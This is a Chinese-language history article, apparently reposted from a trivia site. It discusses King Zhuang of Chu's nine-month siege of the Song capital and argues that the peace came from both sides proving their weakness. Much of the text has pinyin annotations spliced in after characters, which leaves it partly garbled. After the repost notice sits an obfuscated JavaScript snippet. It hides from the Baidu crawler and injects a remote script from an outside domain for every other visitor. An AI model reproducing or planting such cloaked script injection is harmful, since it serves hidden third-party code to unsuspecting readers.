當(dāng)前位置:首頁(yè) > 歷史 > 戰(zhàn)史風(fēng)云 > 正文

楚莊王圍宋之戰(zhàn) 一場(chǎng)讓人看不懂的城市圍困戰(zhàn)

2017-04-29 10:42:35  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):楚莊王圍宋,是個(gè)蹊蹺的戰(zhàn)事,結(jié)束得有些莫名其妙,各種版本都想解釋其結(jié)束的細(xì)節(jié),但其實(shí)都很難說(shuō)得通順。 而整個(gè)戰(zhàn)事的過(guò)程,就像是一個(gè)

楚莊王圍宋,是個(gè)蹊蹺的戰(zhàn)事,結(jié)束得有些莫名其妙,各種版本都想解釋其結(jié)束的細(xì)節(jié),但其實(shí)都很難說(shuō)得通順。

而整個(gè)戰(zhàn)事的過(guò)程,就像是一個(gè)對(duì)信義的全面注解,故事中的幾個(gè)人物都是在翻來(lái)覆去地討論著關(guān)于信義的課題。

東周列國(guó)志里面提到了這個(gè)戰(zhàn)事的開(kāi)端,根本原因當(dāng)然還是楚國(guó)想爭(zhēng)霸,想讓那個(gè)死不服氣的大國(guó)宋對(duì)楚低頭,但苦于找不到原因,就想了個(gè)羞辱宋國(guó)的招數(shù),讓楚使過(guò)宋境而不拿通關(guān)文書(shū),擺明不把宋國(guó)當(dāng)個(gè)國(guó)看。宋受不住這氣,就把使者砍了。

列國(guó)志中說(shuō)這個(gè)使者不是個(gè)平常人,就是那個(gè)當(dāng)年逼問(wèn)楚莊王為什么不務(wù)正業(yè),從而引出一鳴驚人典故的申無(wú)畏,乃是個(gè)有先見(jiàn)之明的人。申無(wú)畏一聽(tīng)說(shuō)讓他去宋國(guó)惹事,就知道自己沒(méi)命活了,不免逼問(wèn)莊王說(shuō)我要是死了咋辦?莊王很深情地說(shuō),那我就滅了宋國(guó)給你報(bào)仇。申無(wú)畏無(wú)奈,只好盼著大王說(shuō)話(huà)算數(shù)。

重點(diǎn)是莊王對(duì)申無(wú)畏作出的這個(gè)承諾,結(jié)合后面的未勝宋國(guó),則是一個(gè)關(guān)于信義的,可以探討的情節(jié)。

當(dāng)然列國(guó)志中把莊王的口氣夸大了,左傳記錄的其實(shí)更像一個(gè)主子常說(shuō)的話(huà):“殺汝,我伐之!”可沒(méi)說(shuō)要滅了誰(shuí)云云。勇決,但對(duì)于結(jié)果,沒(méi)有承諾。

左傳中卻有后來(lái)楚莊想撤軍時(shí),申無(wú)畏的兒子申犀質(zhì)問(wèn)楚莊違背對(duì)申無(wú)畏的承諾的情節(jié),所以,楚莊想必還是說(shuō)出過(guò)要滅宋的言語(yǔ)。

楚軍很快圍住宋都,宋國(guó)香火堪憂(yōu),不停求晉國(guó)來(lái)援。晉國(guó)作為老霸主,人家宋國(guó)是為了跟他混才被楚國(guó)盯上的,大哥不救小弟說(shuō)不過(guò)去,但是又實(shí)在沒(méi)這個(gè)實(shí)力了,晉景公就派解揚(yáng)去給宋國(guó)傳個(gè)話(huà),傳的是:救兵很快就到,宋國(guó)的弟兄們頂??!其實(shí)繼續(xù)貓?jiān)诩依锍怨?/p>

這又是一個(gè)與信義有關(guān)的情節(jié)。

這種說(shuō)了不算的話(huà),也許是使者經(jīng)常需要說(shuō)的,但使者作為一個(gè)人,請(qǐng)相信對(duì)于這種人情之所難堪之事,公然違背信義,也一樣是不愿意接的。但解揚(yáng)作為使者,自有其生存的道理,且看他對(duì)信義的理解:

解揚(yáng)手腳不利索,被楚莊王抓住了。解揚(yáng)此人想必在當(dāng)時(shí)也算個(gè)活躍的人物,公開(kāi)場(chǎng)合曝光率較高,認(rèn)識(shí)他的人很多,所以作為發(fā)言人才有公信力,才被派作晉國(guó)代表的。列國(guó)志中竟說(shuō)楚莊王也認(rèn)識(shí)他。莊王正發(fā)愁宋國(guó)久攻不下,就和解揚(yáng)商量,說(shuō)你到宋國(guó)喊兩句話(huà),就說(shuō)晉國(guó)救兵來(lái)不了了,瓦解一下軍心,行不行?這樣我就讓你活命,還在我戰(zhàn)勝之后讓你在宋國(guó)當(dāng)大官。

解揚(yáng)答應(yīng),說(shuō)沒(méi)問(wèn)題。莊王暗喜此人竟然這么貪生怕死,于是把他推到睢陽(yáng)城外,解揚(yáng)吼了一嗓子:宋國(guó)的弟兄們,頂住,國(guó)軍,啊不,晉軍很快就來(lái)了,區(qū)區(qū)小鬼子,那是兔子的尾巴,長(zhǎng)不了!

莊王一聽(tīng),哭笑不得,但畢竟心量寬宏,拉回解揚(yáng)來(lái)問(wèn),你小子想什么呢,怎么這么沒(méi)信義?

解揚(yáng)說(shuō)了番很有見(jiàn)地的話(huà):臣請(qǐng)殺解揚(yáng),以明楚國(guó)之信,在外不在內(nèi)!意思是殺了我,就說(shuō)明你們楚國(guó)的臣子都應(yīng)該對(duì)外國(guó)人講信義,反而不應(yīng)該對(duì)自己國(guó)君講信義了。莊王騎虎難下,說(shuō)算你狠,你信義,我放你走。解揚(yáng)竟全身而退了。

這里講的又是信義。解揚(yáng)一路上撒了兩個(gè)謊,一個(gè)是對(duì)楚莊王說(shuō)我?guī)湍阏f(shuō)話(huà),一個(gè)是對(duì)宋國(guó)人,說(shuō)晉國(guó)會(huì)來(lái)支援的。他因這兩個(gè)謊而青史留名,留的還是個(gè)講信義的名。這就是解揚(yáng)關(guān)于信義的實(shí)踐,他的生存方式,他活著的道理。

宋國(guó)為了相信晉國(guó)的鬼話(huà),繼續(xù)抗戰(zhàn),楚王為了實(shí)現(xiàn)對(duì)申無(wú)畏的承諾,繼續(xù)圍城,一圍就圍了九個(gè)月。據(jù)說(shuō)這個(gè)時(shí)長(zhǎng)是空前的,宋國(guó)餓死的不比戰(zhàn)死的少,易子而食,折骨而炊。楚軍打,打不下來(lái),撤,又很沒(méi)面子,宋國(guó)的統(tǒng)戰(zhàn)工作作得很好,老百姓一直沒(méi)鬧嘩變,楚莊王陷入人民戰(zhàn)爭(zhēng)的汪洋大海,出不來(lái)了。

這之后的故事就變得模糊了,宋國(guó)與楚國(guó)的上層顯然進(jìn)行了某些溝通,達(dá)成了某個(gè)協(xié)議,最終一場(chǎng)戰(zhàn)爭(zhēng)無(wú)果而終,楚國(guó)撤了,宋國(guó)與晉國(guó)實(shí)質(zhì)上分裂,但并沒(méi)有什么名義上的楚國(guó)戰(zhàn)果出現(xiàn),只有一個(gè)盟約,說(shuō)從今以后,你不騙我,我不騙你,拉勾勾,不反悔。這個(gè)盟約從形式上來(lái)看,是平等的,沒(méi)有執(zhí)牛耳的盟主,沒(méi)有需要聽(tīng)命的諸侯。

至于這個(gè)盟約是如何簽訂的,沒(méi)有定說(shuō),從史記宋微子世家的記載來(lái)看,似乎是華元與楚莊王直接對(duì)話(huà)的,華元說(shuō)城中已經(jīng)易子而食,莊王稱(chēng)自己只有二日戰(zhàn)糧,于是兩家罷兵。列國(guó)志中記載是華元夜里摸到楚將子反帳里,要脅子反定了此盟,子反說(shuō)自己只有七日糧草。當(dāng)然左傳中記載的就是華元夜摸子反,比史記更有故事性一些,列國(guó)志的演義自然源自于此。

很多人編出很多版本,要解釋的無(wú)非這兩個(gè)問(wèn)題:

1.元華為什么會(huì)老老實(shí)實(shí)地匯報(bào)自己城中已經(jīng)易子而食?正常來(lái)說(shuō),敵人知道他虛成這樣,等于自己手中籌碼盡無(wú),很可能堅(jiān)持繼續(xù)圍下去,直到在不久的將來(lái)宋國(guó)崩潰。

2.子反(或者楚莊)為什么會(huì)老老實(shí)實(shí)地告訴元華自己只有幾日糧?這樣對(duì)方很可能繼續(xù)堅(jiān)守下去,等到楚國(guó)退兵,或者晉兵的到來(lái)。

對(duì)元華的實(shí)誠(chéng),一般的解釋是宋國(guó)人就是活雷鋒,因?yàn)槌逋蹙瓦@種一根筋腦袋的代表。

而楚方的老實(shí),有如下兩個(gè)解釋版本:

左傳說(shuō)是元華要脅了子反,“子反懼”,因而我招我招我全招,忙不迭地啥都說(shuō)了,定了盟約。這顯然不合道理,元華摸進(jìn)帳來(lái),你子反說(shuō)自己有一年的糧,他也沒(méi)機(jī)會(huì)去查證。至于密帳中的私約,刀離開(kāi)了脖子,還懼什么?就是子反懼,楚莊又懼什么,殺掉子反攻城就是了。而且從史實(shí)上看,子反雖然有時(shí)荒唐,愛(ài)喝口小酒,但絕沒(méi)那么怕死,至少最后自殺時(shí),是挺痛快的。

史記的解釋是:“以信故”。我覺(jué)得這三個(gè)字很有內(nèi)涵,但后來(lái)的人顯然都理解淺了。

列國(guó)志中對(duì)以信故三字的理解就是說(shuō)兩家都講信義,說(shuō)了實(shí)話(huà),大家覺(jué)得這個(gè)世界真和諧,大家都是好人,還打嘛啊,沒(méi)意思,于是各回各家,各找各媽。(“區(qū)區(qū)弱宋,尚有不欺人之臣;豈堂堂大楚,而反無(wú)之”)

待后生來(lái)分析一下,提點(diǎn)中肯的想法:

分析兩國(guó)這時(shí)的博弈,不能不考慮另一個(gè)存在:晉國(guó),拋開(kāi)了晉國(guó),就無(wú)法解釋兩家的行為。

其實(shí)到這時(shí),兩家都在崩潰邊緣,正常來(lái)說(shuō),只能有兩種結(jié)局:兩存,或者兩亡,已經(jīng)完全沒(méi)有了單贏(yíng)的可能。

對(duì)宋國(guó)來(lái)說(shuō),晉國(guó)確實(shí)一直沒(méi)來(lái)援助宋國(guó),宋國(guó)值此之際,已經(jīng)不敢把賭注再押在晉國(guó)身上,城已經(jīng)危無(wú)壘卵,旦夕可破,哪怕晉國(guó)此時(shí)發(fā)兵,只怕到達(dá)宋國(guó),國(guó)中也已經(jīng)餓成空城。

對(duì)楚國(guó)來(lái)說(shuō),晉國(guó)雖然一直沒(méi)來(lái),但不等于他們就不會(huì)來(lái),現(xiàn)在的楚軍,已經(jīng)脆弱不堪,哪怕真有一天攻破宋國(guó),繼而來(lái)之的怕也只是拱手讓給滾滾而來(lái)的晉國(guó)大軍,晉國(guó)白白吞并了宋國(guó),還讓他楚莊背一個(gè)滅人宗祠的惡名,同時(shí)楚國(guó)又會(huì)敗給晉國(guó)一次,這可是楚王親自敗北,哪是承受得起的?

兩方在此時(shí),只有一條路可以選:議和,否則,宋國(guó)可滅,但宋國(guó)一滅,楚國(guó)立即唇亡齒寒。

但議和也不是鬧著玩的,打了九個(gè)月,眼都紅了,宋人已經(jīng)在吃自己孩子,難道不想把楚莊煮了吃?楚軍在不知道宋人虛實(shí)的情況下,在軍心嚴(yán)重潰散的情況下,一旦撤兵可能會(huì)造成全盤(pán)崩潰,此時(shí)如果宋軍有實(shí)力追擊,后果不堪設(shè)想。

宋人也是一樣,你楚國(guó)答應(yīng)要議和,答應(yīng)要退兵,問(wèn)題是你們到底是不是真的退兵?如果你們錢(qián)糧還夠,前腳與我們議和,我們剛剛松懈下來(lái),后腳你們又殺回來(lái)了,我宋國(guó)還不是一個(gè)特洛伊?為一個(gè)申無(wú)畏滅國(guó),還不如人家為海倫浪漫呢。宋國(guó)要確定,楚國(guó)已經(jīng)沒(méi)有能力在打敗宋國(guó)之后再抵抗晉國(guó)。

所以,兩方此時(shí)為了能達(dá)成協(xié)議,談判時(shí)不是互陳優(yōu)勢(shì),反而是在拼命證明自己已經(jīng)是個(gè)廢物了,已經(jīng)無(wú)害了,已經(jīng)是可以信賴(lài)的弱勢(shì)群體了。我想他們對(duì)于自己的實(shí)力還不只是口頭上予以客觀(guān)地表述,還少不了互派使者悄悄地考察一番,以確認(rèn)雙方的真實(shí)情況。

確認(rèn)了雙方的真實(shí)情況之后,“以信故”,兩方罷兵了。這場(chǎng)仗誰(shuí)也沒(méi)贏(yíng),宋國(guó)以弱勢(shì)的地位,爭(zhēng)取到了最后的和平,確是一場(chǎng)英勇的抗?fàn)?,自然楚?guó)也沒(méi)什么理由要求人家服從他們,所以這個(gè)盟約是平等的。

在這樣的局面下,楚莊違背了對(duì)申無(wú)畏的承諾,班師回朝了。霸主還是霸主,宋國(guó)還是宋國(guó)。申無(wú)畏只是被消遣了一回,他在云端看這個(gè)結(jié)局時(shí),也會(huì)報(bào)以消遣的一笑吧。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}